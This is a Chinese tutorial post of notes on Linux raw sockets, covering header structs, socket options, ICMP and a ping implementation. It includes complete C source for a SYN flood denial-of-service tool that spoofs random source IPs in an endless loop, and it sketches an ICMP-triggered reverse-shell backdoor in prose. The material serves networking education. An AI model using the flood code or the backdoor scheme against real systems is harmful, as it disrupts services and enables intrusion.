Linux基础(11)原始套接字
Posted yxnrh
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux基础(11)原始套接字相关的知识,希望对你有一定的参考价值。
一边接收函数返回一边判断返回值时一定要把接收的优先级加()提高再去判断 例 if((sockfd = socket()) < 0)
问题: 如何实现SYN扫描器扫描端口 , 比如AB两个设备要进行连接 , A通过端口发一个SYN包给B,B在收到后返回一个ACK包确认连接 , 但是在不确定B端口号时
该如何进行连接 , 答: A给B的每一个端都发一个SYN包, 如果哪个有返回说明端口是开放的, TCP和UDP都无法发实现这样的连接方式 , 所以要使用原始套接字
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
struct iphdr { #if defined(__LITTLE_ENDIAN_BITFIELD) __u8 ihl:4, version:4; #elif defined(__BIG_ENDIAN_BITFIELD) __u8 version:4, ihl:4; #else #error "Please fix <asm/byteorder.h>" #endif __u8 tos; __u16 tot_len; __u16 id; __u16 frag_off; __u8 ttl; __u8 protocol; __u16 check; __u32 saddr; __u32 daddr; /*The options start here. */ };
struct tcphdr {
__be16 source;
__be16 dest;
__be32 seq;
__be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__be16 window;
__sum16 check;
__be16 urg_ptr;
};
struct
hostent{
char
* h_name;
char
** h_aliases;
short
h_addrtype;
short
h_length;
char
** h_addr_list;
#define h_addr h_addr_list[0];
};
gethostbyname: https://blog.csdn.net/daiyudong2020/article/details/51946080
1.套接字: 使用内核提供的默认协议包
内核通过int socket( int af, int type, int protocol); 第三参数来决定要使用什么协议 , 第二参数是决定套接字的类型,SOCK_STREAM或SOCK_DGRAM等类型
而SOCK_STREAM默认是使用TCP协议 , 所以第三参数可以为0 默认使用TCP每个协议都一个协议对象 , 协议对象的结构:
struct socket { socket_state state; kmemcheck_bitfield_begin(type); short type; kmemcheck_bitfield_end(type); unsigned long flags; struct socket_wq __rcu *wq; struct file *file; struct sock *sk; const struct proto_ops *ops; //存放函数指针,例如*bind() *connect()等socket方法 , 针对不同的协议,其方法的实现也不同 };
2.原始套接字: 自行选择协议包 所有的原始套接字要使用root权限运行 , 原始套接字最重要的不是其编程方式, 是他的编程协议
ls -al 查看全部文件的权限 , ls -l filename 查看指定文件或程序的权限
linux在root权限下使用 chown root:root [file name] 进行修改文件的拥有者 , chmod u+s [file name] 文件可以在普通用户下临时提权运行
socket( int af, int type, int protocol);要使用原始套接字第二参数要选SOCK_RAW
3.套接字选项 : 设置选项setsockopt(struct socket *sock, int level, int optname,char *optval, unsigned int optlen) 获取选项getsockopt
可以对socket进行更深入的操作比如开启广播和组播的开关等...level 和 optname是父子关系两个组合使用, optval 是指optname的状态
比如level = SOL_SOCKET 有设置广播开关 optname = SO_BROADCAST ,optval = 1开启 0关闭 更能设置套接字的缓冲区及大小等操作
具体使用看前述的 (05)笔记
MAC ----> IP ----->TCP/UDP/ICMP------>DATA TCP等,都是基于IP , 所以IP可以控制其本身及以上的报文
MAC最底层 ,TCP/UDP层属于IP层的数据包, 如图 , 如果不打开IP层我们只能控制data层 但是我们打开了IP层可以通过IP层来控制TCP层协议和data层数据
如果开启了IPPROTO_IP选项里的IP_HDRINCL, 那么IP层及IP层往上的数据和报文要自行组装了
ip首部 : https://www.cnblogs.com/lancidie/archive/2013/05/16/3082378.html https://www.cnblogs.com/red-code/p/7132023.html
4.如何学习某一种协议 ,
静态的学习: 分析协议的结构, 比如ICMP 属于IP 的一部分和TCP一个级别 还有ICMP的组成的结构有那些作用和怎么设置
动态的学习: 通过抓wireshak等抓包工具, 抓一个包, 分析其发送和返回的数据是什么类型type 及数据等等
例子: dos拒绝访问攻击, 通过大量的端口扫描(不同的ip 不断的对目标端口发送SYN包)让被攻击的服务器过载,从而拒绝用户的访问
#include <stdlib.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <linux/tcp.h> //我们自己写的攻击函数 void attack(int skfd,struct sockaddr_in *target,unsigned short srcport); //如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。 unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char** argv){ int skfd; struct sockaddr_in target; struct hostent *host; const int on=1; unsigned short srcport; if(argc!=4) { printf("Usage:%s target dstport srcport ",argv[0]); exit(1); } //DNS协议解析 bzero(&target,sizeof(struct sockaddr_in)); target.sin_family=AF_INET; target.sin_port=htons(atoi(argv[2])); if(inet_aton(argv[1],&target.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { printf("TargetName Error:%s ",hstrerror(h_errno)); exit(1); } target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字 if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){ perror("Create Error"); exit(1); } //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文 if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){ perror("IP_HDRINCL failed"); exit(1); } //因为只有root用户才可以play with raw socket :) setuid(getpid()); srcport = atoi(argv[3]); attack(skfd,&target,srcport); } //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去 void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){ char buf[128]={0}; struct ip *ip; struct tcphdr *tcp; int ip_len; //在我们TCP的报文中Data没有字段,所以整个IP报文的长度 ip_len = sizeof(struct ip)+sizeof(struct tcphdr); //开始填充IP首部 ip=(struct ip*)buf; ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip)>>2; ip->ip_tos = 0; ip->ip_len = htons(ip_len); ip->ip_id=0; ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=target->sin_addr; //开始填充TCP首部 tcp = (struct tcphdr*)(buf+sizeof(struct ip)); tcp->source = htons(srcport); tcp->dest = target->sin_port; tcp->seq = random(); tcp->doff = 5; tcp->syn = 1; tcp->check = 0; while(1){ //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去 ip->ip_src.s_addr = random(); tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr)); sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in)); } } unsigned short check_sum(unsigned short *addr,int len){ register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); }
dos洪水攻击的实现是 , 利用TCP协议的三次握手原理 自己组一个IP头和TCP头,然后发送SYN包,且不接收ACK包 , 让目标服务器一直处于等待第三次握手状态
让目标服务器一直消耗端口资源
5.ICMP协议 , ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP的结构及其值: https://blog.csdn.net/baidu_37964071/article/details/80514340
struct icmphdr { unsigned char icmp_type; //消息类型 unsigned char icmp_code; //代码 unsigned short icmp_checksum; //校验和 unsigned short icmp_id; //ID号 unsigned short icmp_sequence; //序列号 unsigned long icmp_TImestamp; //时间戳 } ICMP_HDR,*PICMP_HDR;
ICMP报文格式 https://network.51cto.com/art/201905/597141.htm
icmp校验和的计算 https://blog.csdn.net/zhj082/article/details/80518322
如上图, 通过wireshaak抓了ping包的数据 , 和ICMP协议的选项一 一对应, 更可以通过ttl分析出目标及源的操作系统
ICMP协议可以发送什么就返回什么 ,ping的实现也是基于ICMP协议
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> #include <setjmp.h> #include <errno.h> #define PACKET_SIZE 4096 #define MAX_WAIT_TIME 5 #define MAX_NO_PACKETS 4 #define DATA_LEN 56 char sendpacket[PACKET_SIZE]; char recvpacket[PACKET_SIZE]; int nsend=0,nreceived=0; struct timeval tvrecv; struct sockaddr_in from; void tv_sub(struct timeval *out,struct timeval *in) { if( (out->tv_usec-=in->tv_usec)<0) { --out->tv_sec; out->tv_usec+=1000000; } out->tv_sec-=in->tv_sec; } void statistics(int signo) { printf(" --------------------PING statistics------------------- "); printf("%d packets transmitted, %d received , %%%f lost ",nsend,nreceived,(nsend-nreceived)*1.0/nsend*100); exit(1); } //crc32的校验计算方法 unsigned short cal_chksum(unsigned short *addr,int len) { int nleft=len; int sum=0; unsigned short *w=addr; unsigned short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if( nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return answer; } /***************************************************************************** 函 数 名 : pack 功能描述 : 配置封装icmp包 输入参数 : int pack_no ,int pid 输出参数 : 无 返 回 值 : int 调用函数 : 被调函数 : 修改历史 : 1.日 期 : 2019年12月11日 星期三 作 者 : ljf 修改内容 : 新生成函数 *****************************************************************************/ int pack( int pack_no ,int pid ) { int i , packsize; struct icmp* m_icmp; struct timeval* tval; m_icmp = (struct icmp*)sendpacket; //指向并设置全局的icmp包 m_icmp->icmp_type = ICMP_ECHO; //类型 :8 回应请求 m_icmp->icmp_code = 0; //代码 m_icmp->icmp_cksum = 0; //校验和 m_icmp->icmp_seq = pack_no; //序号,代表第几个包 m_icmp->icmp_id = pid; //id ,接收时确定哪个进程接收 packsize = 8+DATA_LEN; //8:timeval + data_len tval = (struct timeval*)m_icmp->icmp_data; gettimeofday(tval ,NULL); //把当前时间填充到icmp_data里 m_icmp->icmp_cksum = cal_chksum((unsigned short*)m_icmp , packsize);//校验和 return packsize; } /***************************************************************************** 函 数 名 : send_packet 功能描述 : 发送封装好的icmp包 输入参数 : int sockfd, int pid , struct sockaddr_in sockaddr 输出参数 : 无 返 回 值 : void 调用函数 : 被调函数 : 修改历史 : 1.日 期 : 2019年12月11日 星期三 作 者 : ljf 修改内容 : 新生成函数 *****************************************************************************/ void send_packet( int sockfd, int pid , struct sockaddr_in dest_addr ) { int packetsize; while(nsend<MAX_NO_PACKETS) //发送次数 { nsend++; //也可用作icmp的序号 packetsize = pack(nsend,pid); if ( sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)) < 0 ) { perror("sendto"); continue; } sleep(1); } } /***************************************************************************** 函 数 名 : unpack 功能描述 : 解封icmp包 输入参数 : char* buf,int len ,int pid 输出参数 : 无 返 回 值 : int 调用函数 : 被调函数 : 修改历史 : 1.日 期 : 2019年12月11日 星期三 作 者 : ljf 修改内容 : 新生成函数 *****************************************************************************/ int unpack(char *buf,int len,int pid) { int i,iphdrlen; struct ip *ip; struct icmp *icmp; struct timeval *tvsend; double rtt; ip=(struct ip *)buf; iphdrlen=ip->ip_hl<<2; icmp=(struct icmp *)(buf+iphdrlen); len-=iphdrlen; if( len<8) { printf("ICMP packets‘s length is less than 8 "); return -1; } if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) ) { tvsend=(struct timeval *)icmp->icmp_data; tv_sub(&tvrecv,tvsend); rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000; printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms ",len,inet_ntoa(from.sin_addr),icmp->icmp_seq, ip->ip_ttl,rtt); } else return -1; } /***************************************************************************** 函 数 名 : recv_packet 功能描述 : 接收回应的icmp包 输入参数 : int sockfd, int pid 输出参数 : 无 返 回 值 : void 调用函数 : 被调函数 : 修改历史 : 1.日 期 : 2019年12月11日 星期三 作 者 : ljf 修改内容 : 新生成函数 *****************************************************************************/ void recv_packet(int sockfd,int pid) { int n,fromlen; extern int errno; signal(SIGALRM,statistics); fromlen=sizeof(from); while( nreceived<nsend) { alarm(MAX_WAIT_TIME); if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen)) <0) { if(errno==EINTR)continue; perror("recvfrom error"); continue; } gettimeofday(&tvrecv,NULL); if(unpack(recvpacket,n,pid)==-1) continue; nreceived++; } } /***************************************************************************** 函 数 名 : main 功能描述 : main 输入参数 : int argc , char *argv[] 输出参数 : 无 返 回 值 : int 调用函数 : 被调函数 : 修改历史 : 1.日 期 : 2019年12月8日 星期日 作 者 : ljf 修改内容 : 新生成函数 *****************************************************************************/ int main( int argc , char *argv[] ) { if ( argc < 2 ) { perror("argv"); exit(1); } int sockfd; //绑定协议 struct sockaddr_in dest_addr; //目标IP pid_t pid; //指定当前程序接收返回的icmp包 struct hostent *host; //用于保存目标IP,主机名和其别名 int waittime = MAX_WAIT_TIME; //超时时间 int bufsize = 50*1024; //改变缓冲区大小 unsigned long inaddr = 0; //转换IP用 bzero(&dest_addr,sizeof(dest_addr)); if ( (sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) < 0 ) { perror("socket"); exit(2); } setuid(getuid()); //确保在root权限下运行 setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&bufsize,sizeof(bufsize)); //改变接收缓冲区的大小 //分配目标配置,开始进行和sockfd绑定 dest_addr.sin_family = AF_INET; if ((inaddr = inet_addr(argv[1])) == INADDR_NONE ) //点分十进制的IP转换成长整型接收并判断是否有效 { if ((host = gethostbyname(argv[1])) == NULL) //解析域名,获得目标的IP并保存 { perror("gethostbyname"); exit(3); } //把获取到的目标host->h_addr_list的第一个[0]赋值给sockaddr.sin_addr memcpy((char*)&(dest_addr.sin_addr),host->h_addr,host->h_length); } else{ //到了这里说明输入的是一个有效的IP , 将转换成长整型的argv[1]赋值给dest_addr.sin_addr memcpy((char*)&(dest_addr.sin_addr),(char*)&inaddr,sizeof(inaddr)); } printf("ping %s: %s , ICMP bytes: %d ", argv[1],inet_ntoa(dest_addr.sin_addr),DATA_LEN); pid = getpid(); //获得当前进程用于让返回的ICMP包返回给当前进程 send_packet(sockfd,pid,dest_addr); recv_packet(sockfd,pid); statistics(SIGALRM); close(sockfd); return 0; }
ICMP反弹shell木马程序可以利用ping包给已经种了一个后门(通过一种暗号确定是否要接收的ping包)的目标服务器发送一个ping包,通过data里的TCP回连让原始套接字必须root权限执行的特点,返回目标服务器的shell , 从而获得root权限的shell , 因为一般的服务器有防火墙不让服务器往外连接 , 所以也可以通过其同一局域网,且不被防火墙拦截的PC作为跳板获取目标服务器的shell
总结: 原始套接字是基于内核提供的协议对象(比如 IP ,TCP ,ICMP协议) , 使用setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on(=1),sizeof(on)) , 可以自行手动构造IP及以上的报文 , 如果不需要手动构造IP报文, 可以不开启IP_HDRINCL, 只需创建并填充IP之上的协议对象(比如ICMP)和data即可 , 填充好协议对象后通过sendto对目标进行发送(协议和data封装在一起的)数据包 , 如需要接收data , 则可以通过recvfrom接收后 创建和发送端对等的协议对象,并对数据包里的data进行操作
原始套接字最重要的还是对协议的理解及使用
以上是关于Linux基础(11)原始套接字的主要内容,如果未能解决你的问题,请参考以下文章